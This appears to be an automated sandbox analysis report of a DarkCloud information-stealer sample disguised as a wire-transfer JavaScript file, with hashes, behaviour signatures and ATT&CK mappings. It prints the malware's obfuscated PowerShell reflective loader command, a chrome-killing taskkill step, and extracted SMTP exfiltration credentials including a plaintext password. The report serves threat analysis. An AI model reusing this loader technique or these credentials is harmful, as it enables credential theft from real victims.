darkcloud | e2eea279ae56894edebc1ffc9ea122128bf1197a84341399bbf283debe3430a6

Analysis

max time kernel
149s
max time network
130s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/10/2026, 18:02

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General

Target
Wire Transfer Confirmation.js
Size 5.9MB
Sample261007-wmpfmasyd1
SHA256 e2eea279ae56894edebc1ffc9ea122128bf1197a84341399bbf283debe3430a6
MD5 b0bbb9d3837ce36d48d9d48e22384b15
SHA1 bba0bca63cf1f5feb653937bf7feadc91576aa74
SHA512 1febef6cebd64ff64a318c240c574336ec4fa52eff1e1df60c43f1b57cb5fed73905aab46ab588adbb4c88af0e4d7df2714231762d524597f467bece512b9569
SSDEEP 384:Zr7A8Qrc/oFqXsuiUjwHrjNcw/wuHB1LkBtpIeCbk7LPaqtFzAEyMNdJL50pinjU:7n5d6
TLSH
T172564C3F51E55021E812E61ADFC5B383EA49D99BA71931A0CFB6362940DD4E3D43FB28
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution darkcloud persistence stealer

Malware Config

Extracted

Family

darkcloud

Version

Attributes

email_from
[email protected]
email_to
[email protected]
host_password
PRXes%hee30s
host_server
mail.riseup.net

Signatures

Family: DarkCloud
An information stealer written in Visual Basic.
stealer darkcloud

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3268	1864	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	3268	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3268	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3268 set thread context of 5596	3268	powershell.exe	95

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CameraSettingsUIHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3008	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3268	powershell.exe
3268	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5596	CameraSettingsUIHost.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3268	powershell.exe
Token: SeDebugPrivilege	3008	taskkill.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
6008	conhost.exe
5596	CameraSettingsUIHost.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 6008 wrote to memory of 3032	6008	conhost.exe	94
PID 3268 wrote to memory of 5596	3268	powershell.exe	95
PID 3268 wrote to memory of 5596	3268	powershell.exe	95
PID 3268 wrote to memory of 5596	3268	powershell.exe	95
PID 3268 wrote to memory of 5596	3268	powershell.exe	95
PID 3268 wrote to memory of 5596	3268	powershell.exe	95
PID 5596 wrote to memory of 3008	5596	CameraSettingsUIHost.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Wire Transfer Confirmation.js"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:1252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -Command "$blandfordia=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7;$abrader=[System.Reflection.Assembly]::Load([Convert]::FromBase64String($blandfordia));[Win32.RMP.aaaaaaa]::aaaaaaaaaaa('CsKq4+AT2MfPg6u+ESxXVTF5ucWLmGHzq41HbwEgP8XwdWeLXSDuMS4awBcEhwCRXfHPwFhcbdyIU6Cax03zVI5ZKX07MOih+607ZtfUubQ=','4ohuhPpigLn7qGo2jqw4TjZSCTu/1V4HIgXVqhKLuS0=','uYVFKE02vi/4wEMD2NUi4BiY56JI47gTzTlJpsr97F4UNPzOb/1RxBwbDbRBtxdo','1+LN9u+XeMJ5HjehBgx1qgypsbAbKwsSnyqC2NlHsxI=','lQpKxkbCdLfWTTHCeLTglxhG7JFTMCoHegRLgA6ukVsdYedgsrWRCYG0yIjV0VGw','RGonsDd7H3s6nkWsfMBKR9gGPRfYrC9dedsGrD5zmjc=','0xxHT+YwaIQ2WEENJFv03CsvX0AoIT8k/u38MhR0YZIGdtZCG3m99yAgvb9LSYr0','Mv1SGpxFLP/90xXhw0IpGPaKfS5u2pGrLEbx1kChm1Q=','','2ZLzTdwipXYcb2wmqn2Hzzpzl+2Bo/DX6qqLvcVT92u2zNV7QVAahzG4+hbiuhBf','x64mHe+ROpW65OGiPSshXS/oTwpM7FqtLK6UcLD6W7o=','edZ/VXpdKquujIZPV6SjanT8LPLXk7LMNQGhM3vYyMU=','K9OH3pIKTqKUc4NqHq7xgw6UOVtkIDd7p+m2CNk+o60=','XxVkI1Gou6iAG+l9jv4p/gR66/GAL3fmH1NWXClOOKs=','NKnByyeRVCl5T5SYOpOPTJ6d+bmD9bnGHedWNT4fQ58=','9DWXL0JsJzQKu/6TJh9OAtYtfQpE6wpTxfzSuxTyZdM=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3268
- C:\Windows\SysWOW64\CameraSettingsUIHost.exe
  "C:\Windows\SysWOW64\CameraSettingsUIHost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5596
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3008

C:\Windows\system32\conhost.exe
conhost.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe
  2⤵
  PID:3032

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3268-11-0x00007FFC0A5D0000-0x00007FFC0AF74000-memory.dmp

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memory/3268-10-0x000001F3A8740000-0x000001F3A876A000-memory.dmp

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memory/3268-4-0x000001F3C0890000-0x000001F3C08B2000-memory.dmp

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memory/3268-5-0x00007FFC0A5D0000-0x00007FFC0AF74000-memory.dmp

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memory/3268-6-0x00007FFC0A5D0000-0x00007FFC0AF74000-memory.dmp

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memory/3268-7-0x00007FFC0A5D0000-0x00007FFC0AF74000-memory.dmp

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memory/3268-8-0x00007FFC0A5D0000-0x00007FFC0AF74000-memory.dmp

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memory/3268-9-0x00007FFC0A5D0000-0x00007FFC0AF74000-memory.dmp

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memory/3268-3-0x00007FFC0A5D0000-0x00007FFC0AF74000-memory.dmp

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memory/3268-13-0x00007FFC0A5D0000-0x00007FFC0AF74000-memory.dmp

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memory/3268-0-0x00007FFC0A75F000-0x00007FFC0A760000-memory.dmp

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memory/3268-12-0x00007FFC0A5D0000-0x00007FFC0AF74000-memory.dmp

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memory/3268-14-0x00007FFC0A5D0000-0x00007FFC0AF74000-memory.dmp

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memory/3268-15-0x00007FFC0A5D0000-0x00007FFC0AF74000-memory.dmp

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memory/3268-21-0x00007FFC0A5D0000-0x00007FFC0AF74000-memory.dmp

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memory/5596-18-0x0000000000400000-0x000000000048C000-memory.dmp

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memory/5596-16-0x0000000000400000-0x000000000048C000-memory.dmp

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